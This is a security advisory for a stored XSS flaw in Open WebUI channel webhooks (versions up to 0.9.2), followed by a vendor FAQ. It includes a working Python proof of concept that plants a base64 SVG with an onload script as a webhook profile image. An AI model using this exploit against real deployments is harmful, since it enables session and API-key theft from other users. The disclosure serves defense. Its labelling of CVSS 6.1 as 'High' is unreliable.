CVE-2026-45314

As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.

The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.

Details

The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.

PoC

1. Set up a new instance of Open WebUI and log in as admin
2. In the Admin Panel, enable Channels (Beta) and click Save
3. Create a low-privilege user in the Users tab
4. As the attacker, use the low-privilege user to run the following script:

import base64
import secrets

import requests

BASE_URL = "http://127.0.0.1:14000"
EMAIL = "[email protected]"
PASSWORD = "low"

CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'

if __name__ == "__main__":
    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    r = s.post(
        f"{BASE_URL}/api/v1/auths/signin",
        json={"email": EMAIL, "password": PASSWORD},
        timeout=30,
    )
    r.raise_for_status()
    s.headers["Authorization"] = f"Bearer {r.json()['token']}"

    r = s.post(
        f"{BASE_URL}/api/v1/channels/create",
        json={
            "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
            "type": "group",
            "user_ids": [],
            "group_ids": [],
        },
        timeout=30,
    )
    r.raise_for_status()
    channel_id = r.json()["id"]

    payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
    r = s.post(
        f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
        json={"name": WEBHOOK_NAME, "profile_image_url": payload},
        timeout=30,
    )
    r.raise_for_status()
    webhook_id = r.json()["id"]

    print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")

This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:

http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image

Original Agent Report

Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.

Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.

CVE-2026-45314 has a CVSS score of 6.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45314? CVE-2026-45314 is a high-severity security vulnerability in open-webui (pip), affecting versions <= 0.9.2. It is fixed in 0.9.3.
2. How severe is CVE-2026-45314? CVE-2026-45314 has a CVSS score of 6.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45314? open-webui (pip) versions <= 0.9.2 is affected.
4. Is there a fix for CVE-2026-45314? Yes. CVE-2026-45314 is fixed in 0.9.3. Upgrade to this version or later.
5. Is CVE-2026-45314 exploitable, and should I be worried? Whether CVE-2026-45314 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45314 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45314? Upgrade open-webui to 0.9.3 or later.